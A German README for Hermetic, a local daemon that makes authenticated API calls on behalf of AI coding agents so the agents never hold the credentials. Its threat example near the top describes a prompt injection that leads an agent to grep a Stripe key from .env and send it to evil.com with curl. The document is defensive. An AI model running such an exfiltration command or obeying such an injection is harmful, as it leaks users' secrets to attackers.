
Agenten-isolierter Credential Broker für KI-Agenten
Der agentenisolierte Credential-Broker.
Ihr KI-Agent führt den authentifizierten Aufruf durch. Er sieht nie den Schlüssel.
Webseite · Installation · Schnellstart · Funktionsweise · Sicherheitsmodell · Schwachstelle melden
[!IMPORTANT] Ihr KI-Agent arbeitet auf der ★★★ Brokered-Stufe: Credential-Klartext befindet sich nie im Kontext des Agenten. Hermetic führt den authentifizierten Aufruf in einem separaten Daemon durch und gibt nur die Antwort zurück. Der Agent erhält Daten — nie den Schlüssel.
Jeder KI-Coding-Agent – Claude Code, Cursor, Copilot, Windsurf – führt Shell-Befehle als Ihr Benutzer aus. Jeder API-Schlüssel in Ihrer .env, jedes Token in Ihrer Shell-Historie, jedes Credential in ~/.aws/credentials ist für jeden Code erreichbar, den der Agent ausführt.
Eine Prompt-Injection in einem GitHub-Issue, einem Code-Kommentar oder einer API-Fehlermeldung kann dem Agenten befehlen:
1. Finden Sie Ihren Stripe-Schlüssel → cat .env | grep STRIPE
2. Exfiltrieren Sie ihn → curl https://evil.com?key=$STRIPE_KEY
3. Sie erfahren nie davon → agent continues normally
Das ist nicht theoretisch. Supply-Chain-Angriffe führen bereits Credential-Diebstahl unter der UID des Entwicklers aus. KI-Agenten machen dies zur Standard-Angriffsfläche.
Hermetic ist ein lokaler Daemon, der API-Aufrufe im Auftrag von KI-Agenten durchführt, sodass der Agent Ihre Credentials nie berührt.
┌───────────┐ handle ┌──────────────┐ HTTPS ┌──────────┐
│ AI Agent │────────────▶│ Hermetic │─────────────▶│ API │
│ │◀────────────│ Daemon │◀─────────────│ Server │
└───────────┘ response └──────────────┘ response └──────────┘
Agent memory Daemon memory
✗ no credential ✓ credential (decrypted in-process)
✓ opaque handle ✓ domain binding
✓ API response ✓ tamper-evident audit log
Das Credential gelangt nie in den Adressraum des Agenten — weder im Arbeitsspeicher, in Umgebungsvariablen, in Dateien noch in der Befehlsausgabe. Der Agent erhält die API-Antwort und sonst nichts.
curl -sSf https://hermeticsys.com/install.sh | sh
Ein einzelnes statisches Binary (Rust, keine Laufzeitabhängigkeiten). Kein Docker, kein Cloud-Konto, keine Telemetrie.
Die beiden Open-Core-Crates werden aus diesem Repository erstellt:
git clone https://github.com/hermetic-sys/hermetic.git
cd hermetic && cargo build --release --locked
--locked erstellt aus der geprüften Cargo.lock, anstatt neuere (potenziell vergiftete) Abhängigkeitsversionen aufzulösen – ein Supply-Chain-Härtungsschritt, den wir für jedes Credential-Tool empfehlen.
Linux x86_64 (V1 hängt von Unix-Domain-Sockets, SO_PEERCRED und /proc ab — noch kein macOS/Windows)
Memory-Lock-Berechtigung — Hermetic sperrt Geheimnisse im RAM, sodass sie nie auf die Festplatte ausgelagert werden:
ulimit -l # if this shows 64 (not "unlimited"):
echo "* - memlock unlimited" | sudo tee -a /etc/security/limits.conf
# log out/in, or: ulimit -l unlimited
Ohne dies schlägt hermetic start mit „mlockall failed“ fehl. Einmalige Einrichtung.
[!TIP] Überprüfen Sie den Download, bevor Sie ihm vertrauen — siehe Artefakte überprüfen.
hermetic init # create the encrypted vault (you choose a passphrase)
hermetic add # interactive wizard: paste a key, auto-detect the service
hermetic start # start the hardened daemon
hermetic connect # wire up your AI agent (auto-detects Claude Code / Cursor / …)
# Make an authenticated call — the key never leaves the daemon
hermetic request --secret openai_key --url https://api.openai.com/v1/models
hermetic doctor # confirm everything is healthy
hermetic audit # see every operation Hermetic has performed
Auf einem frischen Rechner können Sie auch einfach hermetic ohne Argumente ausführen – es erkennt, dass noch kein Tresor vorhanden ist, und führt Sie durch die geführte Einrichtung.
Die meisten Credential-Manager bieten eine Option: Das Geheimnis lesen und dann selbst verwenden. Hermetic bietet drei, jede mit einer anderen Garantie.
hermetic request --secret openai_key \
--url https://api.openai.com/v1/chat/completions \
--method POST --body '{"model":"gpt-4","messages":[...]}'
Der Daemon injiziert das Credential und führt den HTTPS-Aufruf durch. Der Agent sendet ein undurchsichtiges Handle und erhält die Antwort — Credential-Exposition: null. Kein anderer Credential-Manager macht das: op/Vault/aws-vault geben das Geheimnis an den aufrufenden Prozess zurück. Hermetic bewahrt es in einem separaten Daemon auf.
hermetic run --secret github_pat --env-var GITHUB_TOKEN -- git push origin main
Das Credential wird für die Lebensdauer dieses einen Befehls in die Umgebung eines gestarteten Kindprozesses injiziert und dann gelöscht. Der Agent erhält den Exit-Code. Die Standardausgabe/-fehlerausgabe des Kindes wird gescannt und durchgesickerte Credentials werden geschwärzt; gefährliche Interpreter werden blockiert.
hermetic reveal --secret stripe_key
Gibt das Credential in Ihrem Terminal aus. Passwortgeschützt, ratenbegrenzt, protokolliert – für den Fall, dass Sie wirklich einen Schlüssel von Hand einfügen müssen. Nur CLI; niemals als Agent-Tool verfügbar gemacht.
Jeder MCP-Server (GitHub, Slack, Jira, Notion) benötigt normalerweise sein Token im Klartext in Ihrer IDE-Konfiguration. Hermetic proxyt den MCP-Server und injiziert stattdessen das Credential aus dem Tresor:
{
"mcpServers": {
"github": {
"command": "hermetic",
"args": [
"proxy", "--server", "github",
"--credential", "github_pat:GITHUB_PERSONAL_ACCESS_TOKEN",
"--",
"npx", "-y", "@modelcontextprotocol/server-github"
]
}
}
}
--credential <vault-name>:<ENV_VAR> löst das Geheimnis aus dem Tresor auf und injektiert es in die Umgebung des Kindprozesses — kein Klartext-Token in der Konfigurationsdatei. Der Proxy durchsucht jede Server→Agent-Nachricht auf Credential-Lecks, pinnt Werkzeugdefinitionen (erkennt Supply-Chain-„Rug-Pulls“), setzt eine pro Werkzeug erlaubte/verbotene Richtlinie durch und isoliert den Kindprozess in seiner eigenen Prozessgruppe.
Hermetic spricht das standardmäßige SSH-Agent-Protokoll. Richten Sie SSH_AUTH_SOCK darauf aus und jedes git push, scp, rsync und jede SSH-Verbindung signiert mit einem Schlüssel aus dem verschlüsselten Tresor — ohne ihn nach ~/.ssh/ zu extrahieren.
hermetic start --ssh-agent
source ~/.hermetic/ssh-agent.env # add to .bashrc/.zshrc
hermetic ssh-keygen --type ed25519 --name github-ssh # generated inside the vault
ssh-add -l # your key appears
git push origin main # signs via the daemon
Der Daemon führt alle Signierungen intern durch — die privaten Schlüsselbytes gelangen nie in den SSH-Client. Ed25519, RSA (SHA-256/512) und ECDSA P-256 werden unterstützt; SHA-1-Signierung abgelehnt.
hermetic connect # auto-detects your agent and writes the MCP config
hermetic connect claude-code # or target one: claude-code · cursor · windsurf · claude-desktop
hermetic connect --list # list supported agents
Dies registriert Hermetic als MCP-Server. Ihr Agent erhält dann diese Werkzeuge – und kein Werkzeug gibt jemals einen Credential-Wert zurück:
OpenClaw erhält beide Modi auf einmal: den MCP-Server (★★★ brokered, für den Agenten) und einen Exec-Provider (für OpenClaws eigenen LLM-Schlüssel).
hermetic reveal --set anthropic_key # tag the one secret OpenClaw may read
hermetic reveal --configure openclaw --install # write the MCP + exec-provider config
Der Resolver des Exec-Providers ist hermetic reveal --protocol openclaw — ein natives Protokoll, das eine JSON-Anfrage auf stdin liest ({"ids":[...]}) und eine JSON-Antwort auf stdout schreibt ({"protocolVersion":1,"values":{...}}), und sonst nichts. Jedes Reveal ist passwortgeschützt, ratenbegrenzt und protokolliert. Der brokered-Pfad des Agenten verwendet weiterhin hermetic_authenticated_request und sieht niemals einen Wert. Vollständiger Ablauf: OpenClaw-Setup.
Hermetic enthält Ihre sensibelsten Credentials, daher ist es gegen denselben Agenten gehärtet, der sie zu nutzen versucht.
Der Daemon schützt sich mit drei Schichten bei jeder Verbindung:
1. Binary attestation — the daemon verifies the connecting binary's hash.
A Python script or unknown binary is REJECTED.
2. Per-message sender — the kernel verifies sender identity on every message.
A different process mid-session is REJECTED.
3. Process-bound tokens — a session token stolen by another process is REJECTED.
Plus: Geheimnisse im RAM gesperrt, Core-Dumps deaktiviert, Dump-Schutz, HTTPS-only mit SSRF-Blockierung und DNS-Pinning sowie ein manipulationssicheres HMAC-verkettetes Audit-Log (hermetic audit).
[!WARNING] Wovor Hermetic nicht schützt. Brokering isoliert das Credential vom Agenten — nicht vor einem Prozess mit derselben UID, der Code als Hermetic selbst ausführen kann. Der Kernel kann Code mit derselben UID nicht unterscheiden (
SO_PEERCREDüberprüft nur die UID), daher wird die Credential-Nutzung zugestanden: Ein bereits als Sie laufender Prozess kann brokered-Aufrufe tätigen und die Antworten lesen. Was selbst gegen diesen Prozess geschlossen bleibt: das Credential wird ihm nie im Klartext ausgesetzt (es gibt keinen Reveal-Pfad), und die Mutation des Tresors (hinzufügen/rotieren/umbinden) erfordert einen frischen Benutzerpräsenznachweis – er kann also den Schlüssel nicht stehlen oder den Tresor stillschweigend ändern. Die Binärattestierung blockiert zusätzlich ein nicht-Hermetic-Binary vollständig. Dies ist materiell stärker als Klartext-Umgebungsdateien oder Schlüsselbunde, die jedem Prozess mit derselben UID den rohen Schlüssel direkt aushändigen. Hermetic ist dennoch kein Schutz gegen ein vollständig kompromittiertes lokales Benutzerkonto, Kernel-Angreifer oder hardwarebasierte Speicherforensik. Wir dokumentieren diese Grenze deutlich, weil Ehrlichkeit darüber Teil des Produkts ist.
Siehe SECURITY.md für das vollständige Bedrohungsmodell, unterstützte Versionen und wie Sie eine Schwachstelle melden.
Jede Version enthält eine SHA256SUMS. Überprüfen Sie nach dem Herunterladen die Prüfsumme, bevor Sie sie ausführen:
sha256sum -c SHA256SUMS
GPG-Release-Signierung (eine abgetrennte SHA256SUMS.asc gegen einen veröffentlichten Schlüsselfingerabdruck) ist geplant; bis dahin ist die SHA-256-Prüfsumme die Integritätsprüfung. Für ein Credential-Tool ist die Überprüfung des ausgeführten Binärprogramms die Grundlage — install.sh erledigt dies automatisch.
Hermetic ist Open Core – wir legen offen, was Open Source ist und was nicht.
Die beiden Crates in diesem Repository sind AGPL-3.0-or-later und Sie können sie selbst prüfen und erstellen. Das Broker-Daemon/CLI-Binary ist proprietär (kostenlose Stufe + kostenpflichtige Pro-Funktionen) — es ist nicht Open Source, und wir sagen dies bewusst. Sicherheit ist nie eingeschränkt: die kostenlosen und Pro-Binaries führen identischen Sicherheitscode aus.
Man könnte „ein Geheimnis speichern, zurückgeben“ in ein paar hundert Zeilen bauen. Aber dann könnte jedes Skript auf Ihrem Rechner eine Verbindung zum Socket herstellen und Ihre Schlüssel nehmen – genau das Problem, wenn KI-Agenten willkürlichen Code als Ihre UID ausführen. Die Komplexität liegt nicht in der Verschlüsselung; es geht darum, sicherzustellen, dass der falsche Prozess nicht auf das Verschlüsselte zugreifen kann: Binärattestierung, Senderüberprüfung pro Nachricht, prozessgebundene Tokens, Credential-Leak-Scanning, Tool-Definitions-Pinning, SSRF-Blockierung, DNS-Pinning, Interpreter-Blacklisten und Memory-Härtung. Jede Verteidigung existiert, weil ein realer Angriff ohne sie demonstriert wurde.
Hermetic wird adversarial validiert – unabhängige KI-gesteuerte Red-Team-Kampagnen, Fuzzing ohne Abstürze, Mutationstests und Live-Angriffssimulationen gegen den laufenden Daemon. Echte während der Tests gefundene Schwachstellen wurden reproduziert und mit Kernel-Level-Verteidigungen dauerhaft geschlossen. Der kryptografische Kern (dieses Repository) ist zur unabhängigen Überprüfung offen. Die vollständige Geschichte findet sich im Whitepaper.
Siehe CONTRIBUTING.md. Beiträge zu den Open-Core-Crates erfordern eine unterzeichnete CLA.
Open-Core-Crates (hermetic-core, hermetic-transport): AGPL-3.0-or-later (LICENSE). Das Hermetic-Binary ist proprietär – siehe COMMERCIAL_LICENSE.md oder kontaktieren Sie [email protected].
.env / env vars | 1Password / Vault / aws-vault | Hermetic |
|---|
| Geheimnis erreicht den aufrufenden Prozess | ✅ immer | ✅ an Aufrufer zurückgegeben | ❌ nie (brokered) |
| Funktioniert ohne dass der Agent den Schlüssel sieht | ❌ | ❌ | ✅ |
| Domain-Bindung pro Credential | ❌ | ❌ | ✅ |
| Blockiert Exfiltration an Angreifer-Domains | ❌ | ❌ | ✅ |
| Manipulationssicheres Audit-Log | ❌ | teilweise | ✅ |
| Socket-Zugriffskontrolle für gleiche UID | n. a. | ❌ | ✅ binary attestation |
| Verschlüsselt im Ruhezustand | ❌ | ✅ | ✅ AES-256-GCM |
| Tool | Was der Agent tun kann | Was er zurückbekommt |
|---|
hermetic_authenticated_request | Einen API-Aufruf mit einem gespeicherten Credential durchführen | Nur HTTP-Antwort |
hermetic_list_secrets | Sehen, welche Credentials existieren | Namen + Metadaten, niemals Werte |
hermetic_env_spawn | Einen Befehl mit einem Credential in der Umgebung ausführen | Nur Exit-Code |
hermetic_suggest_add | Den CLI-Befehl zum Hinzufügen eines Credentials erhalten | Setup-Anleitung |
hermetic_seal_vault | Notfall-Sperrung | Bestätigung |
hermetic_sign_jwt (Pro) | Ein JWT signieren → gegen ein Zugriffstoken eintauschen | Nur Zugriffstoken, niemals der Schlüssel |
| Hier veröffentlicht (AGPL-3.0) | Hermetic-Binary (kostenlos) | Pro |
|---|
hermetic-core — Tresor, KDF, Schlüsselhierarchie, Audit-Kette | ✅ Quelle | ✅ | ✅ |
hermetic-transport — HTTPS-Ausführer, SSRF-Abwehr, DNS-Pinning | ✅ Quelle | ✅ | ✅ |
| Daemon, MCP-Bridge, Proxy, CLI, SSH-Agent | — | ✅ | ✅ |
| ★★★ brokered requests · Domain-Bindung · Audit-Log | — | ✅ | ✅ |
| 10 Geheimnisse · 1 Umgebung | — | ✅ | unbegrenzt |
| OAuth2-Auto-Refresh · AWS SigV4 · JWT-Signierung | — | — | ✅ |
| TUI + Web-Dashboards · Nutzungsanalysen | — | — | ✅ |